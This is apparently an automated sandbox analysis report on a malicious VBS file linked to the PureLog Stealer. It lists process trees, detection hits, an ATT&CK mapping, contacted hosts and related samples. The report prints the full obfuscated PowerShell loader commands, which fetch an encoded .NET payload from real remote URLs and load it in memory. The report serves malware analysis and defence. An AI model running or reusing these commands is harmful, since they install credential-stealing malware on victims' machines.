bypass -NoProfile -command $OWjuxD

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'jiaoicrzaevsbelkwzfdkyrtsevstglewzezxssneccpicggkcd4ugl1cmwnkycgpscrjybzjysna3jodhrwjysnczovlycrj2lhnjawmtawjysnlnvzlicrj2fyy2hpdicrj2uub3jnjysnlzi0l2l0jysnzscrj21zl2rldgfolscrj25vdgutjysndi9ezscrj3rhae5vdgvwjysnlnr4dhnrjysncjt4ugknkydiyscrj3nljysnnjrdbycrj24nkyd0zscrj250id0gkccrj05ldy1pympljysny3qguycrj3lzdgvtlicrj05ldc5xzwjdjysnbgknkydlbnqplicrj0rvd25sjysnb2fku3ryaw4nkydnkhhqaxvybck7jysnefankydpjysnymluyxj5jysnq29udgunkydudca9ifttexn0jysnzw0uq29udmvydf06okzyb21cjysnyscrj3nlnjrtjysndhjpbicrj2coefbpjysnymfzzty0q29udgunkydujysndck7efbpyxmnkydzzw1ibhkgpscrjybbumvmbgvjjysndccrj2knkydvbi5bc3nlbwjsescrj106jysnokwnkydvywqojysnefbpymlujysnyxinkyd5q29udgvudck7efankydpdhknkydwzsa9ihgnkydqawfzjysnc2vtjysnyicrj2x5lkdljysndfr5cccrj2uoc2tyjysnununkyduuccrj0uusg9tzxnrcicrjyk7efbpjysnbwunkyd0ag9kid0gefbpdhknkydwzs5hzxrnzxqnkydobycrj2qojysnc2tyvkfjc2tyjysnktt4uccrj2knkydtzxrob2qnkycusw52jysnb2tlkhhqaw51bgwnkycsjysnifsnkydvympljysny3rbxv1ajysnkhnrcnr4dc5ls1jptksnkycvymsvchbtyxgnkycvodqyljcnkycyjysnmi41ntiundmxly86cccrj3r0ahnrciasjysniccrj3mnkydrcmrlc2f0axzhzg8nkydza3iglcankydza3jkjysnzxnhdgl2jysnywqnkydvcycrj2snkydyiccrjywgc2tyzccrj2unkydzyxrpdmfkb3nrcixza3jszscrj2dbcycrj21zaycrj3isc2tyc2tyksknks5srvbsqwnfkcd4ugknlcckjykuukvqbefjrsgow2niqxjdmte1k1tjsefyxtewnytby0hbcl0xmtqplfttvhjptkddw2niqxjdmzkpkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "& ( $shellid[1]+$shellid[13]+'x') ( ('xpiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/de'+'tahnotev'+'.txtsk'+'r;xpi'+'ba'+'se'+'64co'+'n'+'te'+'nt = ('+'new-obje'+'ct s'+'ystem.'+'net.webc'+'li'+'ent).'+'downl'+'oadstrin'+'g(xpiurl);'+'xp'+'i'+'binary'+'conte'+'nt = [syst'+'em.convert]::fromb'+'a'+'se64s'+'trin'+'g(xpi'+'base64conte'+'n'+'t);xpias'+'sembly ='+' [reflec'+'t'+'i'+'on.assembly'+']:'+':l'+'oad('+'xpibin'+'ar'+'ycontent);xp'+'ity'+'pe = x'+'pias'+'sem'+'b'+'ly.ge'+'ttyp'+'e(skr'+'ru'+'np'+'e.homeskr'+');xpi'+'me'+'thod = xpity'+'pe.getmet'+'ho'+'d('+'skrvaiskr'+');xp'+'i'+'method'+'.inv'+'oke(xpinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.kkronk'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrre'+'gas'+'msk'+'r,skrskr))').replace('xpi','$').replace(([char]115+[char]107+[char]114),[string][char]39))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'jiaoicrzaevsbelkwzfdkyrtsevstglewzezxssneccpicggkcd4ugl1cmwnkycgpscrjybzjysna3jodhrwjysnczovlycrj2lhnjawmtawjysnlnvzlicrj2fyy2hpdicrj2uub3jnjysnlzi0l2l0jysnzscrj21zl2rldgfolscrj25vdgutjysndi9ezscrj3rhae5vdgvwjysnlnr4dhnrjysncjt4ugknkydiyscrj3nljysnnjrdbycrj24nkyd0zscrj250id0gkccrj05ldy1pympljysny3qguycrj3lzdgvtlicrj05ldc5xzwjdjysnbgknkydlbnqplicrj0rvd25sjysnb2fku3ryaw4nkydnkhhqaxvybck7jysnefankydpjysnymluyxj5jysnq29udgunkydudca9ifttexn0jysnzw0uq29udmvydf06okzyb21cjysnyscrj3nlnjrtjysndhjpbicrj2coefbpjysnymfzzty0q29udgunkydujysndck7efbpyxmnkydzzw1ibhkgpscrjybbumvmbgvjjysndccrj2knkydvbi5bc3nlbwjsescrj106jysnokwnkydvywqojysnefbpymlujysnyxinkyd5q29udgvudck7efankydpdhknkydwzsa9ihgnkydqawfzjysnc2vtjysnyicrj2x5lkdljysndfr5cccrj2uoc2tyjysnununkyduuccrj0uusg9tzxnrcicrjyk7efbpjysnbwunkyd0ag9kid0gefbpdhknkydwzs5hzxrnzxqnkydobycrj2qojysnc2tyvkfjc2tyjysnktt4uccrj2knkydtzxrob2qnkycusw52jysnb2tlkhhqaw51bgwnkycsjysnifsnkydvympljysny3rbxv1ajysnkhnrcnr4dc5ls1jptksnkycvymsvchbtyxgnkycvodqyljcnkycyjysnmi41ntiundmxly86cccrj3r0ahnrciasjysniccrj3mnkydrcmrlc2f0axzhzg8nkydza3iglcankydza3jkjysnzxnhdgl2jysnywqnkydvcycrj2snkydyiccrjywgc2tyzccrj2unkydzyxrpdmfkb3nrcixza3jszscrj2dbcycrj21zaycrj3isc2tyc2tyksknks5srvbsqwnfkcd4ugknlcckjykuukvqbefjrsgow2niqxjdmte1k1tjsefyxtewnytby0hbcl0xmtqplfttvhjptkddw2niqxjdmzkpkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "& ( $shellid[1]+$shellid[13]+'x') ( ('xpiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/de'+'tahnotev'+'.txtsk'+'r;xpi'+'ba'+'se'+'64co'+'n'+'te'+'nt = ('+'new-obje'+'ct s'+'ystem.'+'net.webc'+'li'+'ent).'+'downl'+'oadstrin'+'g(xpiurl);'+'xp'+'i'+'binary'+'conte'+'nt = [syst'+'em.convert]::fromb'+'a'+'se64s'+'trin'+'g(xpi'+'base64conte'+'n'+'t);xpias'+'sembly ='+' [reflec'+'t'+'i'+'on.assembly'+']:'+':l'+'oad('+'xpibin'+'ar'+'ycontent);xp'+'ity'+'pe = x'+'pias'+'sem'+'b'+'ly.ge'+'ttyp'+'e(skr'+'ru'+'np'+'e.homeskr'+');xpi'+'me'+'thod = xpity'+'pe.getmet'+'ho'+'d('+'skrvaiskr'+');xp'+'i'+'method'+'.inv'+'oke(xpinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.kkronk'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrre'+'gas'+'msk'+'r,skrskr))').replace('xpi','$').replace(([char]115+[char]107+[char]114),[string][char]39))"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 3.2.powershell.exe.1b044580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.1b03cd8cd50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.1b044580000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.1b03cd8cd50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2205660588.000001B044580000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2187547991.000001B03C578000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 3.2.powershell.exe.1b044580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.1b03cd8cd50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.1b044580000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.1b03cd8cd50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2205660588.000001B044580000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2187547991.000001B03C578000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Command and Scripting Interpreter	221 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZJbugHcHda.vbs	16%	Virustotal		Browse
ZJbugHcHda.vbs	26%	ReversingLabs	Script-WScript.Trojan.Multiverze

Source	Detection	Scanner	Label	Link
ia600100.us.archive.org	0%	Virustotal		Browse
198.187.3.20.in-addr.arpa	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://134.255.227.248/xampp/kb/KNORKK.txt	0%	Virustotal		Browse
http://134.255.227.248	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	10%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
http://ia600100.us.archive.org	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://ia600100.us.archive.org	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ia600100.us.archive.org	207.241.227.240	true	false	0%, Virustotal, Browse	unknown
198.187.3.20.in-addr.arpa	unknown	unknown	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	false	10%, Virustotal, Browse	unknown
http://134.255.227.248/xampp/kb/KNORKK.txt	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.2170165029.000001B02D90F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000003.00000002.2170165029.000001B02D689000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.2170165029.000001B02D8B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.2170165029.000001B02D8B4000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000003.00000002.2170165029.000001B02C8D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.2170165029.000001B02D90F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000003.00000002.2170165029.000001B02D689000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.arX	powershell.exe, 00000003.00000002.2170165029.000001B02D2D6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ia600100.us.archive.org	powershell.exe, 00000003.00000002.2170165029.000001B02C183000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2170165029.000001B02D2D6000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://134.255.227.248	powershell.exe, 00000003.00000002.2170165029.000001B02C3B0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://134.255.227.248(	powershell.exe, 00000003.00000002.2170165029.000001B02C565000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6	powershell.exe, 00000001.00000002.2214280152.0000018B00051000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.2214280152.0000018B0006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2170165029.000001B02BF61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2214280152.0000018B00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2170165029.000001B02BF61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.2170165029.000001B02D8B4000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://oneget.org	powershell.exe, 00000003.00000002.2170165029.000001B02D689000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ia600100.us.archive.org	powershell.exe, 00000003.00000002.2170165029.000001B02D641000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
134.255.227.248	unknown	Germany		197071	ACTIVE-SERVERSactive-serverscomDE	false
207.241.227.240	ia600100.us.archive.org	United States		7941	INTERNET-ARCHIVEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523821
Start date and time:	2024-10-02 05:21:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZJbugHcHda.vbs renamed because original name is a hash value
Original Sample Name:	01b5377b8e2fd5cc88c57a2115fefc853ddecbf4aff300357391dcd803b7d67d.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@6/6@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 10 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6596 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7052 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:21:55	Task Scheduler	Run new task: {59C10C86-BE1C-46DC-B209-5B47BFFE43BB} path: .
23:22:05	API Interceptor	389x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
134.255.227.248	IEnetbookCookies.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	134.255.227.248/xampp/kb/KNORKK.txt
134.255.227.248	US091024A.xla.xlsx	Get hash	malicious	Remcos, PureLog Stealer	Browse	134.255.227.248/xampp/kb/KNORKK.txt
207.241.227.240	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse
	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
